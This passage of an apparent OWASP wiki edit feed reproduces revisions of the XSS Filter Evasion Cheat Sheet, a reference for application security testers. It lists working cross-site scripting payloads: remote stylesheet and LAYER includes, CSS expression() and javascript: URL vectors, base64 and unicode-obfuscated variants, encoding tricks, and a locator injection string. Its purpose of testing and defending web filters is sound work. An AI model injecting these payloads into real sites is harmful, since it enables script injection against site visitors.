== LAYER (also only works in Netscape 4.x) ==&lt;br /&gt;
 &amp;lt;LAYER SRC=&amp;quot;http://ha.ckers.org/scriptlet.html&amp;quot;&amp;gt;&amp;lt;/LAYER&amp;gt;&lt;br /&gt;
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] ['''NS4''']&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== STYLE sheet ==&lt;br /&gt;
 &amp;lt;LINK REL=&amp;quot;stylesheet&amp;quot; HREF=&amp;quot;javascript:alert('XSS');&amp;quot;&amp;gt;&lt;br /&gt;
 Browser support: [IE7.0|'''IE6.0'''|'''NS8.1-IE'''] [NS8.1-G|FF2.0] [O9.02]&lt;br /&gt;
&lt;br /&gt;
=== Remote style sheet ===&lt;br /&gt;
(using something as simple as a remote style sheet you can include your XSS as the style parameter can be redefined using an embedded expression.) This only works in IE and Netscape 8.1+ in IE rendering engine mode. Notice that there is nothing on the page to show that there is included JavaScript. Note: With all of these remote style sheet examples they use the body tag, so it won't work unless there is some content on the page other than the vector itself, so you'll need to add a single letter to the page to make it work if it's an otherwise blank page:&lt;br /&gt;
 &amp;lt;LINK REL=&amp;quot;stylesheet&amp;quot; HREF=&amp;quot;http://ha.ckers.org/xss.css&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Browser support: [IE7.0|'''IE6.0'''|'''NS8.1-IE'''] [NS8.1-G|FF2.0] [O9.02]&lt;br /&gt;
&lt;br /&gt;
=== Remote style sheet part 2 ===&lt;br /&gt;
This works the same as above, but uses a &amp;lt;STYLE&amp;gt; tag instead of a &amp;lt;LINK&amp;gt; tag). A slight variation on this vector was used to hack Google Desktop. As a side note, you can remove the end &amp;lt;/STYLE&amp;gt; tag if there is HTML immediately after the vector to close it. This is useful if you cannot have either an equals sign or a slash in your cross site scripting attack, which has come up at least once in the real world:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;STYLE&amp;gt;@import'http://ha.ckers.org/xss.css';&amp;lt;/STYLE&amp;gt;&lt;br /&gt;
Browser support: [IE7.0|'''IE6.0'''|'''NS8.1-IE'''] [NS8.1-G|FF2.0] [O9.02]&lt;br /&gt;
&lt;br /&gt;
=== Remote style sheet part 3 ===&lt;br /&gt;
This only works in Opera 8.0 (no longer in 9.x) but is fairly tricky. According to RFC2616 setting a link header is not part of the HTTP1.1 spec, however some browsers still allow it (like Firefox and Opera). The trick here is that I am setting a header (which is basically no different than in the HTTP header saying Link: &amp;lt;http://ha.ckers.org/xss.css&amp;gt;; REL=stylesheet) and the remote style sheet with my cross site scripting vector is running the JavaScript, which is not supported in FireFox:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;META HTTP-EQUIV=&amp;quot;Link&amp;quot; Content=&amp;quot;&amp;lt;http://ha.ckers.org/xss.css&amp;gt;; REL=stylesheet&amp;quot;&amp;gt;&lt;br /&gt;
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]&lt;br /&gt;
&lt;br /&gt;
===Remote style sheet part 4 === &lt;br /&gt;
This only works in Gecko rendering engines and works by binding an XUL file to the parent page. I think the irony here is that Netscape assumes that Gecko is safer and therefor is vulnerable to this for the vast majority of sites:&lt;br /&gt;
 &amp;lt;STYLE&amp;gt;BODY{-moz-binding:url(&amp;quot;http://ha.ckers.org/xssmoz.xml#xss&amp;quot;)}&amp;lt;/STYLE&amp;gt;&lt;br /&gt;
Browser support: [IE7.0|IE6.0|NS8.1-IE] ['''NS8.1-G'''|'''FF2.0'''] [O9.02]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== STYLE tags with broken up JavaScript for XSS ===&lt;br /&gt;
This XSS at times sends IE into an infinite loop of alerts:&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;STYLE&amp;gt;@im\port'\ja\vasc\ript:alert(&amp;quot;XSS&amp;quot;)';&amp;lt;/STYLE&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]&lt;br /&gt;
&lt;br /&gt;
=== STYLE attribute using a comment to break up expression === &lt;br /&gt;
Created by Roman Ivanov &lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;IMG STYLE=&amp;quot;xss:expr/*XSS*/ession(alert('XSS'))&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]&lt;br /&gt;
&lt;br /&gt;
=== IMG STYLE with expression ===&lt;br /&gt;
This is really a hybrid of the above XSS vectors, but it really does show how hard STYLE tags can be to parse apart, like above this can send IE into a loop:&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;exp/*&amp;lt;A STYLE='no\xss:noxss(&amp;quot;*//*&amp;quot;);&lt;br /&gt;
xss:&amp;amp;#101;x&amp;amp;#x2F;*XSS*//*/*/pression(alert(&amp;quot;XSS&amp;quot;))'&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]&lt;br /&gt;
&lt;br /&gt;
=== Anonymous HTML with STYLE attribute ===&lt;br /&gt;
IE6.0 and Netscape 8.1+ in IE rendering engine mode don't really care if the HTML tag you build exists or not, as long as it starts with an open angle bracket and a letter:&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;XSS STYLE=&amp;quot;xss:expression(alert('XSS'))&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Local htc file == &lt;br /&gt;
This is a little different than the above two cross site scripting vectors because it uses an .htc file which must be on the same server as the XSS vector. The example file works by pulling in the JavaScript and running it as part of the style attribute:&lt;br /&gt;
 &amp;lt;XSS STYLE=&amp;quot;behavior: url(xss.htc);&amp;quot;&amp;gt;&lt;br /&gt;
Browser support: ['''IE7.0'''|'''IE6.0'''|'''NS8.1-IE'''] [NS8.1-G|FF2.0] [O9.02]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== US-ASCII encoding == &lt;br /&gt;
US-ASCII encoding (found by Kurt Huwig).This uses malformed ASCII encoding with 7 bits instead of 8. This XSS may bypass many content filters but only works if the host transmits in US-ASCII encoding, or if you set the encoding yourself. This is more useful against web application firewall cross site scripting evasion than it is server side filter evasion. Apache Tomcat is the only known server that transmits in US-ASCII encoding. I highly suggest anyone interested in alternate encoding issues look at my charsets issues page:&lt;br /&gt;
 ¼script¾alert(¢XSS¢)¼/script¾&lt;br /&gt;
Browser support: ['''IE7.0'''|'''IE6.0'''|'''NS8.1-IE'''] [NS8.1-G|FF2.0] [O9.02] [NS4] &lt;br /&gt;
&lt;br /&gt;
== META ==&lt;br /&gt;
The odd thing about meta refresh is that it doesn't send a referrer in the header - so it can be used for certain types of attacks where you need to get rid of referring URLs:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;META HTTP-EQUIV=&amp;quot;refresh&amp;quot; CONTENT=&amp;quot;0;url=javascript:alert('XSS');&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]&lt;br /&gt;
&lt;br /&gt;
=== META using data ===&lt;br /&gt;
Directive URL scheme. This is nice because it also doesn't have anything visibly that has the word SCRIPT or the JavaScript directive in it, because it utilizes base64 encoding. Please see RFC 2397 for more details or go here or here to encode your own. You can also use the XSS calculator below if you just want to encode raw HTML or JavaScript as it has a Base64 encoding method:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;META HTTP-EQUIV=&amp;quot;refresh&amp;quot; CONTENT=&amp;quot;0;url=data:text/html base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]&lt;br /&gt;
&lt;br /&gt;
=== META with additional URL parameter ===&lt;br /&gt;
If the target website attempts to see if the URL contains &amp;quot;http://&amp;quot; at the beginning you can evade it with the following technique (Submitted by Moritz Naumann):&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;META HTTP-EQUIV=&amp;quot;refresh&amp;quot; CONTENT=&amp;quot;0; URL=http://;URL=javascript:alert('XSS');&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]&lt;br /&gt;
&lt;br /&gt;
== IFRAME  ==&lt;br /&gt;
If iframes are allowed there are a lot of other XSS problems as well:&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;IFRAME SRC=&amp;quot;javascript:alert('XSS');&amp;quot;&amp;gt;&amp;lt;/IFRAME&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]&lt;br /&gt;
&lt;br /&gt;
== FRAME ==&lt;br /&gt;
Frames have the same sorts of XSS problems as iframes&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;FRAMESET&amp;gt;&amp;lt;FRAME SRC=&amp;quot;javascript:alert('XSS');&amp;quot;&amp;gt;&amp;lt;/FRAMESET&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]&lt;br /&gt;
&lt;br /&gt;
== TABLE ==&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;TABLE BACKGROUND=&amp;quot;javascript:alert('XSS')&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]&lt;br /&gt;
&lt;br /&gt;
=== TD ===&lt;br /&gt;
Just like above, TD's are vulnerable to BACKGROUNDs containing JavaScript XSS vectors:&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;TABLE&amp;gt;&amp;lt;TD BACKGROUND=&amp;quot;javascript:alert('XSS')&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== DIV ==&lt;br /&gt;
&lt;br /&gt;
=== DIV background-image===&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;DIV STYLE=&amp;quot;background-image: url(javascript:alert('XSS'))&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== DIV background-image with unicoded XSS exploit ===&lt;br /&gt;
This has been modified slightly to obfuscate the url parameter. The original vulnerability was found by Renaud Lifchitz as a vulnerability in Hotmail:&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable nowraplinks&amp;quot;&lt;br /&gt;
! &amp;lt;nowiki&amp;gt;&amp;lt;DIV STYLE=&amp;quot;background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
|}'''&lt;br /&gt;
&lt;br /&gt;
=== DIV background-image plus extra characters ===&lt;br /&gt;
Rnaske built a quick XSS fuzzer to detect any erroneous characters that are allowed after the open parenthesis but before the JavaScript directive in IE and Netscape 8.1 in secure site mode. These are in decimal but you can include hex and add padding of course. (Any of the following chars can be used: 1-32, 34, 39, 160, 8192-8.13, 12288, 65279):&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;DIV STYLE=&amp;quot;background-image: url(&amp;amp;#1;javascript:alert('XSS'))&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]&lt;br /&gt;
&lt;br /&gt;
=== DIV expression === &lt;br /&gt;
A variant of this was effective against a real world cross site scripting filter using a newline between the colon and &amp;quot;expression&amp;quot;:&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;DIV STYLE=&amp;quot;width: expression(alert('XSS'));&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]&lt;br /&gt;
&lt;br /&gt;
= Browser support reference table =&lt;br /&gt;
{| class=&amp;quot;wikitable nowraplinks&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! Browser&lt;br /&gt;
! Description&lt;br /&gt;
|-&lt;br /&gt;
| IE7.0&lt;br /&gt;
| Vector works in Internet Explorer 7.0. Most recently tested with Internet Explorer 7.0.5700.6 RC1, Windows XP Professional SP2.&lt;br /&gt;
|-&lt;br /&gt;
| IE6.0&lt;br /&gt;
| Vector works in Internet Explorer. Most recently tested with Internet Explorer 6.0.28.1.1106CO, SP2 on Windows 2000.&lt;br /&gt;
|-&lt;br /&gt;
| NS8.1-IE&lt;br /&gt;
| Vector works in Netscape 8.1+ in IE rendering engine mode. Most recently tested with Netscape 8.1 on Windows XP Professional. This used to be called trusted mode, but Netscape has changed it's security model away from the trusted/untrusted model and has opted towards Gecko as a default and IE as an option.&lt;br /&gt;
|-&lt;br /&gt;
| NS8.1-G&lt;br /&gt;
| Vector works in Netscape 8.1+ in the Gecko rendering engine mode. Most recently tested with Netscape 8.1 on Windows XP Professional&lt;br /&gt;
|-&lt;br /&gt;
| FF2.0&lt;br /&gt;
| Vector works in Mozilla's Gecko rendering engine, used by Firefox. Most recently tested with Firefox 2.0.0.2 on Windows XP Professional.&lt;br /&gt;
|-&lt;br /&gt;
| O9.02&lt;br /&gt;
| Vector works in Opera. Most recently tested with Opera 9.02, Build 8586 on Windows XP Professional&lt;br /&gt;
|-&lt;br /&gt;
| NS4&lt;br /&gt;
| Vector works in older versions of Netscape 4.0 - untested.&lt;br /&gt;
|}'''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Note: if a vector is not marked it either does not work or it is untested. &lt;br /&gt;
= References =&lt;br /&gt;
&lt;br /&gt;
[http://ha.ckers.org/xss.html http://ha.ckers.org/xss.html]&lt;br /&gt;
&lt;br /&gt;
= Authors and Primary Editors =&lt;br /&gt;
&lt;br /&gt;
RSnake&lt;br /&gt;
&lt;br /&gt;
{{Cheatsheet_Navigation}}&lt;br /&gt;
&lt;br /&gt;
[[Category:Cheatsheets]]&lt;/div&gt;</summary>
		<author><name>Islam Azeddine Mennouchi</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=XSS_Filter_Evasion_Cheat_Sheet&amp;diff=135224</id>
		<title>XSS Filter Evasion Cheat Sheet</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=XSS_Filter_Evasion_Cheat_Sheet&amp;diff=135224"/>
				<updated>2012-09-03T20:01:09Z</updated>
		
		<summary type="html">&lt;p&gt;Islam Azeddine Mennouchi: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= DRAFT CHEAT SHEET - WORK IN PROGRESS =&lt;br /&gt;
&lt;br /&gt;
= Introduction =&lt;br /&gt;
&lt;br /&gt;
This article is focused on providing application security testing professionals with a guide to assist in Cross Site Scripting testing. &lt;br /&gt;
&lt;br /&gt;
= Tests =&lt;br /&gt;
'''XSS Locator :'''&lt;br /&gt;
Inject this string, and in most cases where a script is vulnerable with no special XSS vector requirements the word &amp;quot;XSS&amp;quot; will pop up. Use this [http://ha.ckers.org/xss.html#XSScalc URL encoding calculator] to encode the entire string. Tip: if you're in a rush and need to quickly check a page, often times injecting the depreciated &amp;quot;&amp;lt;PLAINTEXT&amp;gt;&amp;quot; tag will be enough to check to see if something is vulnerable to XSS by messing up the output appreciably:&lt;br /&gt;
&lt;br /&gt;
 ';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//&amp;quot;;&lt;br /&gt;
 alert(String.fromCharCode(88,83,83))//\&amp;quot;;alert(String.fromCharCode(88,83,83))//--&amp;gt;&amp;lt;/SCRIPT&amp;gt;&amp;quot;&amp;gt;'&amp;gt;&lt;br /&gt;
 &amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= References =&lt;br /&gt;
&lt;br /&gt;
[http://ha.ckers.org/xss.html http://ha.ckers.org/xss.html]&lt;br /&gt;
&lt;br /&gt;
= Authors and Primary Editors =&lt;br /&gt;
&lt;br /&gt;
RSnake&lt;br /&gt;
&lt;br /&gt;
{{Cheatsheet_Navigation}}&lt;br /&gt;
&lt;br /&gt;
[[Category:Cheatsheets]]&lt;/div&gt;</summary>
		<author><name>Islam Azeddine Mennouchi</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Projects/OWASP_Odz_MultiCMSScanner/GPC/Assessment/Odz_MultiCMSScanner_v0.4&amp;diff=131942</id>
		<title>Projects/OWASP Odz MultiCMSScanner/GPC/Assessment/Odz MultiCMSScanner v0.4</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Projects/OWASP_Odz_MultiCMSScanner/GPC/Assessment/Odz_MultiCMSScanner_v0.4&amp;diff=131942"/>
				<updated>2012-06-26T10:05:44Z</updated>
		
		<summary type="html">&lt;p&gt;Islam Azeddine Mennouchi: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;https://www.owasp.org/images/thumb/c/c2/Yellow_button.JPG/25px-Yellow_button.JPG&lt;br /&gt;
Not reviewed&lt;/div&gt;</summary>
		<author><name>Islam Azeddine Mennouchi</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Projects/OWASP_Odz_MultiCMSScanner/GPC/Assessment/Odz_MultiCMSScanner_v0.4&amp;diff=131941</id>
		<title>Projects/OWASP Odz MultiCMSScanner/GPC/Assessment/Odz MultiCMSScanner v0.4</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Projects/OWASP_Odz_MultiCMSScanner/GPC/Assessment/Odz_MultiCMSScanner_v0.4&amp;diff=131941"/>
				<updated>2012-06-26T09:56:51Z</updated>
		
		<summary type="html">&lt;p&gt;Islam Azeddine Mennouchi: Created page with &amp;quot;OWASP Odz MultiCMSScanner Assessement&amp;quot;&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;OWASP Odz MultiCMSScanner Assessement&lt;/div&gt;</summary>
		<author><name>Islam Azeddine Mennouchi</name></author>	</entry>

	</feed>